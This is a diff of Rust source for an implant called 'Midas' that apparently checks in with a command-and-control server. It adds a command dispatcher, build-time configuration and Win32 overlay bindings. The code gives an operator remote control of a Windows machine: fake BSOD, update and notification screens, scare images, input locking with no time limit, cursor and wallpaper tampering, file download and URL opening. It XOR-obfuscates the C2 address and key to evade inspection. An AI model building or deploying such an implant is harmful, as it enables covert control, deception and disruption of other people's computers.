// ---------------------------------------------------------------------------
|
||||
// Argument access
|
||||
//
|
||||
// Every accessor falls back to a default rather than panicking. The server's
|
||||
// count check makes a short array unreachable through the Web UI, but the C2
|
||||
// endpoint accepts a hand-built body, and one malformed task should not take
|
||||
// the implant down mid-competition.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
fn arg_str(args: &[Value], index: usize) -> String {
|
||||
args.get(index)
|
||||
.and_then(|v| v.as_str())
|
||||
.unwrap_or_default()
|
||||
.to_string()
|
||||
}
|
||||
|
||||
fn arg_int(args: &[Value], index: usize) -> i64 {
|
||||
args.get(index)
|
||||
.and_then(|v| v.as_i64())
|
||||
.or_else(|| args.get(index).and_then(|v| v.as_f64()).map(|f| f as i64))
|
||||
.unwrap_or(0)
|
||||
}
|
||||
|
||||
fn arg_bool(args: &[Value], index: usize) -> bool {
|
||||
args.get(index)
|
||||
.and_then(|v| v.as_bool())
|
||||
.unwrap_or(false)
|
||||
}
|
||||
|
||||
/// Matches `value` against `options`, returning the canonical spelling or an
|
||||
/// error naming what was acceptable. Sentinels (`none`, `0`, `-1`) are handled
|
||||
/// by the individual commands rather than here.
|
||||
fn one_of(value: &str, options: &[&str]) -> Result<String, String> {
|
||||
let lowered = value.trim().to_ascii_lowercase();
|
||||
|
||||
options
|
||||
.iter()
|
||||
.find(|o| **o == lowered)
|
||||
.map(|o| o.to_string())
|
||||
.ok_or_else(|| {
|
||||
format!(
|
||||
"`{value}` is not one of: {}",
|
||||
options.join(", ")
|
||||
)
|
||||
})
|
||||
}
|
||||
|
||||
/// Non-negative duration, with 0 meaning "no auto-close".
|
||||
fn duration_arg(
|
||||
args: &[Value],
|
||||
index: usize,
|
||||
cap: u64,
|
||||
) -> Result<Option<std::time::Duration>, String> {
|
||||
let seconds = arg_int(args, index);
|
||||
if seconds < 0 {
|
||||
return Err("duration cannot be negative".into());
|
||||
}
|
||||
|
||||
let capped = seconds.min(cap as i64);
|
||||
|
||||
Ok(if capped == 0 {
|
||||
None
|
||||
} else {
|
||||
Some(std::time::Duration::from_secs(capped as u64))
|
||||
})
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Dispatch
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Runs one task and returns the operator-facing result string.
|
||||
///
|
||||
/// The result is stored in a `TextField` and rendered inside a `<pre>` in the
|
||||
/// console, so it should be a short status line rather than a payload.
|
||||
pub fn dispatch(task: &Value) -> String {
|
||||
let name = task
|
||||
.get(obf!("task"))
|
||||
.and_then(|v| v.as_str())
|
||||
.unwrap_or_default()
|
||||
.to_string();
|
||||
|
||||
let empty: Vec<Value> = Vec::new();
|
||||
let args = task
|
||||
.get(obf!("args"))
|
||||
.and_then(|v| v.as_array())
|
||||
.unwrap_or(&empty)
|
||||
.clone();
|
||||
|
||||
match name.as_str() {
|
||||
// --- operator / cleanup -------------------------------------------
|
||||
"sysinfo" => info::report(),
|
||||
"listoverlays" => gui::describe_overlays(),
|
||||
"stopall" => {
|
||||
// Input is released by `stop_all` as well as overlays, and the
|
||||
// message should say so when it was the only thing holding.
|
||||
let input_was_active = gui::input_lock_active();
|
||||
let closed = gui::stop_all();
|
||||
|
||||
let mut parts = Vec::new();
|
||||
if closed > 0 {
|
||||
parts.push(format!("closed {closed} overlay(s)"));
|
||||
}
|
||||
if input_was_active {
|
||||
parts.push("input lock released".to_string());
|
||||
}
|
||||
if parts.is_empty() {
|
||||
"nothing was running".to_string()
|
||||
} else {
|
||||
parts.join("; ")
|
||||
}
|
||||
}
|
||||
"kill" => {
|
||||
gui::stop_all();
|
||||
// Give queued result writes a moment, then leave. Mirrors
|
||||
// Tombili's shared.kill, which sleeps on a spawned thread first.
|
||||
std::thread::spawn(|| {
|
||||
std::thread::sleep(std::time::Duration::from_millis(750));
|
||||
std::process::exit(0);
|
||||
});
|
||||
"implant is stopping".to_string()
|
||||
}
|
||||
"fetchimage" => {
|
||||
let url = arg_str(&args, 0);
|
||||
let filename = arg_str(&args, 1);
|
||||
match jobs::fetch(&url, &filename) {
|
||||
Ok(path) => format!("downloaded to {path}"),
|
||||
Err(e) => format!("download failed: {e}"),
|
||||
}
|
||||
}
|
||||
|
||||
// --- core ---------------------------------------------------------
|
||||
"msgbox" => {
|
||||
let title = arg_str(&args, 0);
|
||||
let body = arg_str(&args, 1);
|
||||
let icon = arg_str(&args, 2);
|
||||
let sound = arg_bool(&args, 3);
|
||||
|
||||
let icon = match one_of(&icon, &["none", "info", "warning", "error", "question"]) {
|
||||
Ok(value) => value,
|
||||
Err(e) => return e,
|
||||
};
|
||||
|
||||
// MessageBoxW is modal: it does not return until the dialog is
|
||||
// dismissed. It has to run off the check-in thread or the implant
|
||||
// stops checking in for as long as the box is open.
|
||||
gui::detach(move || {
|
||||
gui::win::msgbox(&title, &body, &icon, sound);
|
||||
});
|
||||
|
||||
"message box opened".to_string()
|
||||
}
|
||||
"showimage" => {
|
||||
let path = arg_str(&args, 0);
|
||||
let mode = match one_of(&arg_str(&args, 1), &["fullscreen", "center", "fit"]) {
|
||||
Ok(value) => value,
|
||||
Err(e) => return e,
|
||||
};
|
||||
let duration = match duration_arg(&args, 2, 3600) {
|
||||
Ok(value) => value,
|
||||
Err(e) => return e,
|
||||
};
|
||||
let topmost = arg_bool(&args, 3);
|
||||
|
||||
match gui::open_image(&path, &mode, duration, topmost) {
|
||||
Ok(id) => overlay_ack(id, "image", &path, duration),
|
||||
Err(e) => format!("could not show image: {e}"),
|
||||
}
|
||||
}
|
||||
"setwallpaper" => {
|
||||
let path = arg_str(&args, 0);
|
||||
let result = gui::win::set_wallpaper(&path);
|
||||
|
||||
match result {
|
||||
Ok(()) => format!("wallpaper set to {path}"),
|
||||
Err(e) => format!("could not set wallpaper: {e}"),
|
||||
}
|
||||
}
|
||||
"getwallpaper" => {
|
||||
let result = gui::win::get_wallpaper();
|
||||
|
||||
match result {
|
||||
Ok(path) => format!("current wallpaper: {path}"),
|
||||
Err(e) => format!("could not read wallpaper: {e}"),
|
||||
}
|
||||
}
|
||||
"shakescreen" => {
|
||||
let seconds = arg_int(&args, 0);
|
||||
let amplitude = arg_int(&args, 1);
|
||||
let interval = arg_int(&args, 2);
|
||||
let target = match one_of(
|
||||
&arg_str(&args, 3),
|
||||
&["foreground", "all", "mouse"],
|
||||
) {
|
||||
Ok(value) => value,
|
||||
Err(e) => return e,
|
||||
};
|
||||
|
||||
if !(1..=30).contains(&seconds) {
|
||||
return "seconds must be between 1 and 30".to_string();
|
||||
}
|
||||
if !(1..=200).contains(&litude) {
|
||||
return "amplitude must be between 1 and 200 pixels".to_string();
|
||||
}
|
||||
if !(10..=200).contains(&interval) {
|
||||
return "interval must be between 10 and 200 ms".to_string();
|
||||
}
|
||||
|
||||
if target == "mouse" {
|
||||
return cursor_task("shake", seconds as u64);
|
||||
}
|
||||
|
||||
let shown = target.clone();
|
||||
gui::detach(move || {
|
||||
crate::gui::win::shake(
|
||||
seconds as u64,
|
||||
amplitude as i32,
|
||||
interval as u64,
|
||||
&target,
|
||||
);
|
||||
});
|
||||
|
||||
format!("shaking {shown} for {seconds}s")
|
||||
}
|
||||
|
||||
// --- fake system UI -----------------------------------------------
|
||||
"fakebsod" => {
|
||||
let stopcode = arg_str(&args, 0);
|
||||
let percent = arg_int(&args, 1).clamp(0, 100);
|
||||
let duration = match duration_arg(&args, 2, 3600) {
|
||||
Ok(value) => value,
|
||||
Err(e) => return e,
|
||||
};
|
||||
|
||||
match gui::open_bsod(&stopcode, percent, duration) {
|
||||
Ok(id) => overlay_ack(id, "fakebsod", &stopcode, duration),
|
||||
Err(e) => format!("could not open fakebsod: {e}"),
|
||||
}
|
||||
}
|
||||
"fakeupdate" => {
|
||||
let title = arg_str(&args, 0);
|
||||
let percent = arg_int(&args, 1).clamp(0, 100);
|
||||
let duration = match duration_arg(&args, 2, 3600) {
|
||||
Ok(value) => value,
|
||||
Err(e) => return e,
|
||||
};
|
||||
|
||||
match gui::open_update(&title, percent, duration) {
|
||||
Ok(id) => overlay_ack(id, "fakeupdate", &title, duration),
|
||||
Err(e) => format!("could not open fakeupdate: {e}"),
|
||||
}
|
||||
}
|
||||
"faketoast" => {
|
||||
let title = arg_str(&args, 0);
|
||||
let body = arg_str(&args, 1);
|
||||
let seconds = arg_int(&args, 2);
|
||||
if !(1..=600).contains(&seconds) {
|
||||
return "seconds must be between 1 and 600".to_string();
|
||||
}
|
||||
|
||||
let duration = Some(std::time::Duration::from_secs(seconds as u64));
|
||||
match gui::open_toast(&title, &body, duration) {
|
||||
Ok(id) => overlay_ack(id, "faketoast", &title, duration),
|
||||
Err(e) => format!("could not open faketoast: {e}"),
|
||||
}
|
||||
}
|
||||
"titlechange" => {
|
||||
let title = arg_str(&args, 0);
|
||||
let result = gui::win::set_foreground_title(&title);
|
||||
|
||||
match result {
|
||||
Ok(previous) => format!("title set to `{title}` (was `{previous}`)"),
|
||||
Err(e) => format!("could not set title: {e}"),
|
||||
}
|
||||
}
|
||||
"gettitle" => {
|
||||
let result = gui::win::get_foreground_title();
|
||||
|
||||
match result {
|
||||
Ok(title) => format!("foreground window: `{title}`"),
|
||||
Err(e) => format!("could not read title: {e}"),
|
||||
}
|
||||
}
|
||||
"toggletaskbar" => {
|
||||
let state = match one_of(&arg_str(&args, 0), &["hide", "show", "toggle"]) {
|
||||
Ok(value) => value,
|
||||
Err(e) => return e,
|
||||
};
|
||||
|
||||
let result = gui::win::set_taskbar(&state);
|
||||
|
||||
match result {
|
||||
Ok(()) => format!("taskbar {state}"),
|
||||
Err(e) => format!("could not change taskbar: {e}"),
|
||||
}
|
||||
}
|
||||
|
||||
// --- sensory -------------------------------------------------------
|
||||
"scare" => {
|
||||
let image = arg_str(&args, 0);
|
||||
let sound = arg_str(&args, 1);
|
||||
let seconds = arg_int(&args, 2);
|
||||
if !(1..=600).contains(&seconds) {
|
||||
return "seconds must be between 1 and 600".to_string();
|
||||
}
|
||||
|
||||
// The literal `none` means "image only". This is the sentinel that
|
||||
// an optional argument would otherwise have provided.
|
||||
if !sound.trim().is_empty() && !sound.eq_ignore_ascii_case("none") {
|
||||
gui::detach(move || {
|
||||
let _ = jobs::play_sound(&sound, false);
|
||||
});
|
||||
}
|
||||
|
||||
let duration = Some(std::time::Duration::from_secs(seconds as u64));
|
||||
match gui::open_scare(&image, duration) {
|
||||
Ok(id) => overlay_ack(id, "scare", &image, duration),
|
||||
Err(e) => format!("could not open scare: {e}"),
|
||||
}
|
||||
}
|
||||
"spook" => {
|
||||
let mode = match one_of(
|
||||
&arg_str(&args, 0),
|
||||
&["static", "matrix", "scanline", "glitch"],
|
||||
) {
|
||||
Ok(value) => value,
|
||||
Err(e) => return e,
|
||||
};
|
||||
let duration = match duration_arg(&args, 1, 3600) {
|
||||
Ok(value) => value,
|
||||
Err(e) => return e,
|
||||
};
|
||||
|
||||
match gui::open_spook(&mode, duration) {
|
||||
Ok(id) => overlay_ack(id, "spook", &mode, duration),
|
||||
Err(e) => format!("could not open spook: {e}"),
|
||||
}
|
||||
}
|
||||
"playsound" => {
|
||||
let path = arg_str(&args, 0);
|
||||
let looping = arg_bool(&args, 1);
|
||||
|
||||
let shown = path.clone();
|
||||
gui::detach(move || {
|
||||
// The failure is only visible in the implant's own log: the ack
|
||||
// was already sent, and the alternative is blocking the
|
||||
// check-in loop on an audio device that may not exist.
|
||||
if let Err(e) = jobs::play_sound(&path, looping) {
|
||||
crate::log::log_lazy(|| format!("playsound failed: {e}"));
|
||||
}
|
||||
});
|
||||
|
||||
format!(
|
||||
"playing {shown} ({})",
|
||||
if looping { "looping" } else { "once" }
|
||||
)
|
||||
}
|
||||
"volume" => {
|
||||
let action = match one_of(
|
||||
&arg_str(&args, 0),
|
||||
&["mute", "unmute", "max", "min", "set"],
|
||||
) {
|
||||
Ok(value) => value,
|
||||
Err(e) => return e,
|
||||
};
|
||||
let level = arg_int(&args, 1);
|
||||
|
||||
let result = gui::win::set_volume(&action, level.clamp(0, 100) as u32);
|
||||
|
||||
match result {
|
||||
Ok(()) => format!("volume {action}"),
|
||||
Err(e) => format!("could not change volume: {e}"),
|
||||
}
|
||||
}
|
||||
|
||||
// --- desktop -------------------------------------------------------
|
||||
"cursor" => {
|
||||
let action = match one_of(
|
||||
&arg_str(&args, 0),
|
||||
&["hide", "show", "freeze", "corner", "shake"],
|
||||
) {
|
||||
Ok(value) => value,
|
||||
Err(e) => return e,
|
||||
};
|
||||
let seconds = arg_int(&args, 1);
|
||||
if !(1..=60).contains(&seconds) {
|
||||
return "seconds must be between 1 and 60".to_string();
|
||||
}
|
||||
|
||||
cursor_task(&action, seconds as u64)
|
||||
}
|
||||
"desktopnote" => {
|
||||
let text = arg_str(&args, 0);
|
||||
let x = arg_int(&args, 1);
|
||||
let y = arg_int(&args, 2);
|
||||
let size = arg_int(&args, 3).clamp(8, 200);
|
||||
|
||||
let duration = Some(std::time::Duration::from_secs(120));
|
||||
match gui::open_note(&text, x, y, size, duration) {
|
||||
Ok(id) => overlay_ack(id, "desktopnote", &text, duration),
|
||||
Err(e) => format!("could not open desktopnote: {e}"),
|
||||
}
|
||||
}
|
||||
"fontsize" => {
|
||||
let percent = arg_int(&args, 0);
|
||||
if !(50..=300).contains(&percent) {
|
||||
return "percent must be between 50 and 300".to_string();
|
||||
}
|
||||
|
||||
let result = gui::win::set_font_scale(percent as u32);
|
||||
|
||||
match result {
|
||||
Ok(()) => format!("UI scale set to {percent}%"),
|
||||
Err(e) => format!("could not change UI scale: {e}"),
|
||||
}
|
||||
}
|
||||
"minimizeall" => {
|
||||
let state = match one_of(&arg_str(&args, 0), &["minimize", "restore", "toggle"]) {
|
||||
Ok(value) => value,
|
||||
Err(e) => return e,
|
||||
};
|
||||
|
||||
let result = gui::win::set_minimized(&state);
|
||||
|
||||
match result {
|
||||
Ok(()) => format!("windows {state}"),
|
||||
Err(e) => format!("could not change windows: {e}"),
|
||||
}
|
||||
}
|
||||
"openurl" => {
|
||||
let url = arg_str(&args, 0);
|
||||
let background = arg_bool(&args, 1);
|
||||
|
||||
match jobs::open_url(&url, background) {
|
||||
Ok(()) => format!("opened {url}"),
|
||||
Err(e) => format!("could not open URL: {e}"),
|
||||
}
|
||||
}
|
||||
"lockinput" => {
|
||||
// Anything zero is a hold until `stopall`; a positive number is a
|
||||
// timeout. The ceiling is gone - the operator decides how long -
|
||||
// but the release is always reachable, which is the safety property
|
||||
// that matters: `stopall` cancels the hold from the check-in thread
|
||||
// no matter how long it was asked for.
|
||||
let requested = arg_int(&args, 0);
|
||||
if requested < 0 {
|
||||
return "seconds must be 0 (until stopall) or a positive number".to_string();
|
||||
}
|
||||
|
||||
// `BlockInput` needs SE_DEBUG access, so an implant that is not
|
||||
// elevated is refused. The refusal is checked on the worker thread
|
||||
// and the ack below is still immediate, which is the point - a
|
||||
// non-elevated implant reports the failure in its own log rather
|
||||
// than stalling the check-in loop waiting to find out.
|
||||
let _ = gui::lock_input(requested as u64);
|
||||
|
||||
if requested == 0 {
|
||||
"input blocked until stopall".to_string()
|
||||
} else {
|
||||
format!("input blocked for {requested}s")
|
||||
}
|
||||
}
|
||||
|
||||
// --- shared --------------------------------------------------------
|
||||
"getsleep" => {
|
||||
let (s, j) = sleep::get();
|
||||
format!("sleep: {s}s, jitter: {j}s")
|
||||
}
|
||||
"setsleep" => {
|
||||
let s = arg_int(&args, 0);
|
||||
let j = arg_int(&args, 1);
|
||||
|
||||
if s <= 0 || j < 0 {
|
||||
return "sleep must be positive and jitter cannot be negative".to_string();
|
||||
}
|
||||
|
||||
match sleep::set(s as u64, j as u64) {
|
||||
Ok(()) => format!("sleep set to {s}s with {j}s jitter"),
|
||||
Err(e) => e,
|
||||
}
|
||||
}
|
||||
|
||||
other => format!("unknown command `{other}`"),
|
||||
}
|
||||
}
|
||||
|
||||
fn overlay_ack(
|
||||
id: u64,
|
||||
label: &str,
|
||||
detail: &str,
|
||||
duration: Option<std::time::Duration>,
|
||||
) -> String {
|
||||
let shown = if detail.is_empty() {
|
||||
String::new()
|
||||
} else {
|
||||
format!(" ({detail})")
|
||||
};
|
||||
|
||||
let lifetime = match duration {
|
||||
Some(d) => format!(" for {}s", d.as_secs()),
|
||||
None => " until stopall".to_string(),
|
||||
};
|
||||
|
||||
format!("{label} opened{shown} as overlay {id}{lifetime}")
|
||||
}
|
||||
|
||||
/// Pointer manipulation, shared by the `cursor` and `shakescreen target=mouse`
|
||||
/// paths.
|
||||
///
|
||||
/// The check-in thread is not blocked either way, since `SetCursorPos` and
|
||||
/// `ClipCursor` return immediately; the caller moves the pointer back on a
|
||||
/// timer so the effect outlives the call.
|
||||
fn cursor_task(action: &str, seconds: u64) -> String {
|
||||
let owned = action.to_string();
|
||||
let worker = owned.clone();
|
||||
gui::detach(move || {
|
||||
crate::gui::win::cursor(&worker, seconds);
|
||||
});
|
||||
|
||||
format!("cursor {owned} for {seconds}s")
|
||||
}
|
||||
89
implants/midas/src/config.rs
Normal file
89
implants/midas/src/config.rs
Normal file
@ -0,0 +1,89 @@
|
||||
//! Build-time configuration.
|
||||
//!
|
||||
//! Tombili hardcodes these in `src/config.nim` and requires a source edit per
|
||||
//! target. Midas reads them from the environment at *compile* time instead, so
|
||||
//! the same checkout builds for any server:
|
||||
//!
|
||||
//! ```bash
|
||||
//! MIDAS_SERVER=https://c2.example.com/ MIDAS_KEY=... cargo build --release
|
||||
//! ```
|
||||
//!
|
||||
//! `option_env!` bakes the value into the binary. Reading these at runtime via
|
||||
//! `env::var` would leave the C2 URL visible in /proc/<pid>/environ. The baked
|
||||
//! values are XOR-encoded like every other string constant, so they do not show
|
||||
//! up in `strings` output either - see `obf_env` below.
|
||||
|
||||
use crate::obf;
|
||||
use crate::obf::MAX_LEN;
|
||||
|
||||
/// Identifies this implant to the server. Part of the agent's identity tuple
|
||||
/// together with the reported IP, so it must differ from `tombili` or the two
|
||||
/// implants collide on one host.
|
||||
pub const IMPLANT_ID: &str = "midas";
|
||||
|
||||
/// Reported to the server as `registration.os`.
|
||||
pub const OS: &str = std::env::consts::OS;
|
||||
|
||||
/// Compile-time encoding of an optional build-time value.
|
||||
///
|
||||
/// The pair is `(length, bytes)`; a length of zero means the variable was unset
|
||||
/// or empty, and the caller falls back to its `obf!` default.
|
||||
///
|
||||
/// Encoding in a `const` matters here. Writing the `option_env!` value straight
|
||||
/// into a `String` at runtime would compile to exactly that string in the
|
||||
/// binary, and `MIDAS_KEY` is the one value in the whole implant that is worth
|
||||
/// hiding. The encoded form is a fixed 256-byte array, so the plaintext is
|
||||
/// never emitted.
|
||||
const fn obf_env(value: Option<&'static str>) -> (usize, [u8; MAX_LEN]) {
|
||||
match value {
|
||||
Some(text) => obf::encode_static(text),
|
||||
None => (0, [0u8; MAX_LEN]),
|
||||
}
|
||||
}
|
||||
|
||||
const SERVER: (usize, [u8; MAX_LEN]) = obf_env(option_env!("MIDAS_SERVER"));
|
||||
const KEY: (usize, [u8; MAX_LEN]) = obf_env(option_env!("MIDAS_KEY"));
|
||||
|
||||
pub fn server_url() -> String {
|
||||
if SERVER.0 == 0 {
|
||||
obf!("http://127.0.0.1:3000/")
|
||||
} else {
|
||||
obf::decode(&SERVER.1, SERVER.0, obf::SEED)
|
||||
}
|
||||
}
|
||||
|
||||
/// Must match a row in the server's `keys` table. See the note in
|
||||
/// comm.rs::xor about the server only trying the first key.
|
||||
pub fn xor_key() -> String {
|
||||
if KEY.0 == 0 {
|
||||
obf!("asdf")
|
||||
} else {
|
||||
obf::decode(&KEY.1, KEY.0, obf::SEED)
|
||||
}
|
||||
}
|
||||
|
||||
pub fn reg_fail_limit() -> u32 {
|
||||
parse_u32("MIDAS_REG_FAIL_LIMIT", 10)
|
||||
}
|
||||
|
||||
pub fn checkin_sleep() -> u64 {
|
||||
parse_u64("MIDAS_CHECKIN_SLEEP", 10)
|
||||
}
|
||||
|
||||
pub fn checkin_jitter() -> u64 {
|
||||
parse_u64("MIDAS_CHECKIN_JITTER", 5)
|
||||
}
|
||||
|
||||
fn parse_u64(name: &str, default: u64) -> u64 {
|
||||
std::env::var(name)
|
||||
.ok()
|
||||
.and_then(|value| value.parse().ok())
|
||||
.unwrap_or(default)
|
||||
}
|
||||
|
||||
fn parse_u32(name: &str, default: u32) -> u32 {
|
||||
std::env::var(name)
|
||||
.ok()
|
||||
.and_then(|value| value.parse().ok())
|
||||
.unwrap_or(default)
|
||||
}
|
||||
279
implants/midas/src/gdi/api.rs
Normal file
279
implants/midas/src/gdi/api.rs
Normal file
@ -0,0 +1,279 @@
|
||||
//! The Win32 entry points the GDI overlay backend needs.
|
||||
//!
|
||||
//! Declared by hand for the same reasons as `gui/win.rs`: a short dependency
|
||||
//! list, a small binary, and identical linking under the MSVC and GNU targets.
|
||||
//! Only windowing and GDI are here — none of this touches OpenGL, which is the
|
||||
//! entire point of the module.
|
||||
//!
|
||||
//! The overlay is composited by the window manager rather than by us. A
|
||||
//! `WS_EX_LAYERED` window is handed a premultiplied 32-bit bitmap through
|
||||
//! `UpdateLayeredWindow` and the desktop mixes it in, so the same code path
|
||||
//! serves the opaque overlays (`fakebsod`, `fakeupdate`, fullscreen images) and
|
||||
//! the translucent ones (`faketoast`, `desktopnote`, a centred image) without a
|
||||
//! special case. It also means the window never needs a paint message, so a
|
||||
//! frame is: rasterise into a DIB, call `UpdateLayeredWindow`, done.
|
||||
|
||||
// The Win32 spellings are kept verbatim so each declaration can be read against
|
||||
// the SDK header by name.
|
||||
#![allow(non_snake_case, non_camel_case_types, clippy::upper_case_acronyms)]
|
||||
|
||||
use std::ffi::c_void;
|
||||
|
||||
pub type HWND = *mut c_void;
|
||||
pub type HDC = *mut c_void;
|
||||
pub type HGDIOBJ = *mut c_void;
|
||||
pub type HBITMAP = *mut c_void;
|
||||
pub type HBRUSH = *mut c_void;
|
||||
pub type HICON = *mut c_void;
|
||||
pub type HCURSOR = *mut c_void;
|
||||
pub type HINSTANCE = *mut c_void;
|
||||
pub type UINT = u32;
|
||||
pub type DWORD = u32;
|
||||
pub type WPARAM = usize;
|
||||
pub type LPARAM = isize;
|
||||
pub type LRESULT = isize;
|
||||
pub type BOOL = i32;
|
||||
pub type COLORREF = u32;
|
||||
|
||||
pub type WNDPROC = unsafe extern "system" fn(HWND, UINT, WPARAM, LPARAM) -> LRESULT;
|
||||
|
||||
// --- Window styles ----------------------------------------------------------
|
||||
pub const WS_POPUP: DWORD = 0x8000_0000;
|
||||
pub const WS_EX_LAYERED: DWORD = 0x0008_0000;
|
||||
pub const WS_EX_TOPMOST: DWORD = 0x0000_0008;
|
||||
/// Keeps the overlay out of the taskbar and the Alt+Tab list, which a prank
|
||||
/// window has no business appearing in.
|
||||
pub const WS_EX_TOOLWINDOW: DWORD = 0x0000_0080;
|
||||
/// The overlay never takes focus, so the target keeps typing and the keystrokes
|
||||
/// do not land in a dialog that is not really a dialog.
|
||||
pub const WS_EX_NOACTIVATE: DWORD = 0x0800_0000;
|
||||
|
||||
// --- Window classes ---------------------------------------------------------
|
||||
pub const CS_HREDRAW: u32 = 0x0002;
|
||||
pub const CS_VREDRAW: u32 = 0x0001;
|
||||
|
||||
// --- Messages ---------------------------------------------------------------
|
||||
pub const WM_DESTROY: UINT = 0x0002;
|
||||
pub const WM_PAINT: UINT = 0x000F;
|
||||
pub const WM_TIMER: UINT = 0x0113;
|
||||
|
||||
/// `IDC_ARROW` is a `MAKEINTRESOURCE` id, so it is the bare number.
|
||||
pub const IDC_ARROW: usize = 32512;
|
||||
|
||||
/// `SW_SHOWNOACTIVATE`. The overlays are `WS_EX_NOACTIVATE` and this keeps them
|
||||
/// that way, so a prank never takes focus off whatever the target is doing.
|
||||
pub const SW_SHOWNOACTIVATE: i32 = 4;
|
||||
|
||||
// --- GDI --------------------------------------------------------------------
|
||||
/// `DIB_RGB_COLORS`, passed as the `usage` argument.
|
||||
pub const DIB_RGB_COLORS: u32 = 0;
|
||||
pub const BI_RGB: u32 = 0;
|
||||
pub const TRANSPARENT: i32 = 1;
|
||||
/// GDI clips text to the update region by default; a fake dialog has no reason
|
||||
/// to look like it is being redrawn in slices.
|
||||
pub const CLIP_DEFAULT: DWORD = 0x0000_0000;
|
||||
|
||||
// --- UpdateLayeredWindow ----------------------------------------------------
|
||||
pub const ULW_ALPHA: DWORD = 0x0000_0002;
|
||||
pub const AC_SRC_OVER: u8 = 0x00;
|
||||
pub const AC_SRC_ALPHA: u8 = 0x01;
|
||||
|
||||
#[repr(C)]
|
||||
pub struct POINT {
|
||||
pub x: i32,
|
||||
pub y: i32,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct SIZE {
|
||||
pub cx: i32,
|
||||
pub cy: i32,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct RECT {
|
||||
pub left: i32,
|
||||
pub top: i32,
|
||||
pub right: i32,
|
||||
pub bottom: i32,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct MSG {
|
||||
pub hwnd: HWND,
|
||||
pub message: UINT,
|
||||
pub wparam: WPARAM,
|
||||
pub lparam: LPARAM,
|
||||
pub time: DWORD,
|
||||
pub pt: POINT,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct WNDCLASSEXW {
|
||||
pub cbSize: UINT,
|
||||
pub style: UINT,
|
||||
pub lpfnWndProc: WNDPROC,
|
||||
pub cbClsExtra: i32,
|
||||
pub cbWndExtra: i32,
|
||||
pub hInstance: HINSTANCE,
|
||||
pub hIcon: HICON,
|
||||
pub hCursor: HCURSOR,
|
||||
pub hbrBackground: HBRUSH,
|
||||
pub lpszMenuName: *const u16,
|
||||
pub lpszClassName: *const u16,
|
||||
pub hIconSm: HICON,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct BITMAPINFOHEADER {
|
||||
pub biSize: UINT,
|
||||
pub biWidth: i32,
|
||||
/// Negative for a top-down DIB, which is what is wanted here: the buffer is
|
||||
/// then laid out in reading order, so row 0 is the top of the image and no
|
||||
/// flipping is needed anywhere.
|
||||
pub biHeight: i32,
|
||||
pub biPlanes: u16,
|
||||
pub biBitCount: u16,
|
||||
pub biCompression: DWORD,
|
||||
pub biSizeImage: DWORD,
|
||||
pub biXPelsPerMeter: i32,
|
||||
pub biYPelsPerMeter: i32,
|
||||
pub biClrUsed: DWORD,
|
||||
pub biClrImportant: DWORD,
|
||||
}
|
||||
|
||||
/// `CreateDIBSection` wants a `BITMAPINFO`; with no colour table or masks used
|
||||
/// the three-DWORD tail is still part of the struct.
|
||||
#[repr(C)]
|
||||
pub struct BITMAPINFO {
|
||||
pub bmiHeader: BITMAPINFOHEADER,
|
||||
pub bmiColors: [COLORREF; 3],
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct BLENDFUNCTION {
|
||||
pub BlendOp: u8,
|
||||
pub BlendFlags: u8,
|
||||
pub SourceConstantAlpha: u8,
|
||||
pub AlphaFormat: u8,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct PAINTSTRUCT {
|
||||
pub hdc: HDC,
|
||||
pub fErase: BOOL,
|
||||
pub rcPaint: RECT,
|
||||
pub fRestore: BOOL,
|
||||
pub fIncUpdate: BOOL,
|
||||
pub rgbReserved: [u8; 32],
|
||||
}
|
||||
|
||||
#[link(name = "user32")]
|
||||
extern "system" {
|
||||
pub fn RegisterClassExW(class: *const WNDCLASSEXW) -> u16;
|
||||
pub fn UnregisterClassW(class: *const u16, instance: HINSTANCE) -> BOOL;
|
||||
pub fn CreateWindowExW(
|
||||
ex_style: DWORD,
|
||||
class: *const u16,
|
||||
title: *const u16,
|
||||
style: DWORD,
|
||||
x: i32,
|
||||
y: i32,
|
||||
width: i32,
|
||||
height: i32,
|
||||
parent: HWND,
|
||||
menu: HGDIOBJ,
|
||||
instance: HINSTANCE,
|
||||
param: *mut c_void,
|
||||
) -> HWND;
|
||||
pub fn DestroyWindow(hwnd: HWND) -> BOOL;
|
||||
pub fn DefWindowProcW(hwnd: HWND, message: UINT, wparam: WPARAM, lparam: LPARAM) -> LRESULT;
|
||||
pub fn GetMessageW(message: *mut MSG, hwnd: HWND, min: u32, max: u32) -> BOOL;
|
||||
pub fn TranslateMessage(message: *const MSG) -> BOOL;
|
||||
pub fn DispatchMessageW(message: *const MSG) -> LRESULT;
|
||||
pub fn PostQuitMessage(exit_code: i32);
|
||||
pub fn SetTimer(hwnd: HWND, id: usize, interval: u32, callback: *mut c_void) -> usize;
|
||||
pub fn KillTimer(hwnd: HWND, id: usize) -> BOOL;
|
||||
pub fn BeginPaint(hwnd: HWND, paint: *mut PAINTSTRUCT) -> HDC;
|
||||
pub fn EndPaint(hwnd: HWND, paint: *mut PAINTSTRUCT) -> BOOL;
|
||||
pub fn GetDC(hwnd: HWND) -> HDC;
|
||||
pub fn ReleaseDC(hwnd: HWND, dc: HDC) -> i32;
|
||||
pub fn LoadCursorW(instance: HINSTANCE, name: *const u16) -> HCURSOR;
|
||||
pub fn ShowWindow(hwnd: HWND, command: i32) -> BOOL;
|
||||
pub fn UpdateLayeredWindow(
|
||||
hwnd: HWND,
|
||||
screen_dc: HDC,
|
||||
destination: *const POINT,
|
||||
size: *const SIZE,
|
||||
source_dc: HDC,
|
||||
source: *const POINT,
|
||||
key: COLORREF,
|
||||
blend: *const BLENDFUNCTION,
|
||||
flags: DWORD,
|
||||
) -> BOOL;
|
||||
pub fn SetProcessDPIAware() -> BOOL;
|
||||
}
|
||||
|
||||
#[link(name = "gdi32")]
|
||||
extern "system" {
|
||||
pub fn CreateCompatibleDC(dc: HDC) -> HDC;
|
||||
pub fn DeleteDC(dc: HDC) -> BOOL;
|
||||
